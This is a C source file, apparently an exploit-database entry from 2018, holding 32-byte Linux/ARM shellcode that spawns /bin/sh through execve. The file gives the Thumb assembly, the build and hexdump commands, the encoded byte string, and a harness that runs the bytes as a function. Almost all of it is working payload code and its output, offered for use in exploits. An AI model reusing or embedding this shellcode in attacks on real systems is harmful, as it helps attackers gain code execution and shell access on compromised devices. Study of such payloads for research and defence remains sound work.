63 lines
No EOL
1.4 KiB
C
63 lines
No EOL
1.4 KiB
C
/*
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Title: Linux/ARM - execve("/bin/sh", ["/bin/sh"], NULL) Shellcode (32 Bytes)
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Date: 2018-08-16
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Tested: armv7l (Raspberry Pi 3 Model B+)
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Author: Ken Kitahara
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pi@raspberrypi:~ $ uname -a
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Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
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pi@raspberrypi:~ $ lsb_release -a
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No LSB modules are available.
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Distributor ID: Raspbian
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Description: Raspbian GNU/Linux 9.4 (stretch)
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Release: 9.4
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Codename: stretch
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pi@raspberrypi:~ $ cat binsh.s
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.section .text
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.global _start
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_start:
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.ARM
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add r3, pc, #1
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bx r3
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.THUMB
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// execve("/bin/sh", ["/bin/sh"], NULL)
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adr r0, spawn
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eor r2, r2, r2
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strb r2, [r0, #7]
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push {r0, r2}
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mov r1, sp
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mov r7, #11
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svc #1
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// adjust address
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eor r7, r7, r7
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spawn:
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.ascii "/bin/shA"
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pi@raspberrypi:~ $ as -o binsh.o binsh.s && ld -N -o binsh binsh.o
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pi@raspberrypi:~ $ objcopy -O binary binsh binsh.bin
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pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' binsh.bin
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\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x7f\x40\x2f\x62\x69\x6e\x2f\x73\x68\x41
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char sc[] = \
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"\x01\x30\x8f\xe2\x13\xff\x2f\xe1"
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"\x03\xa0\x52\x40\xc2\x71\x05\xb4"
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"\x69\x46\x0b\x27\x01\xdf\x7f\x40"
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"\x2f\x62\x69\x6e\x2f\x73\x68\x41";
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void main()
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{
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printf("Shellcode Length: %d\n", strlen(sc));
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int (*ret)() = (int(*)())sc;
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ret();
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} |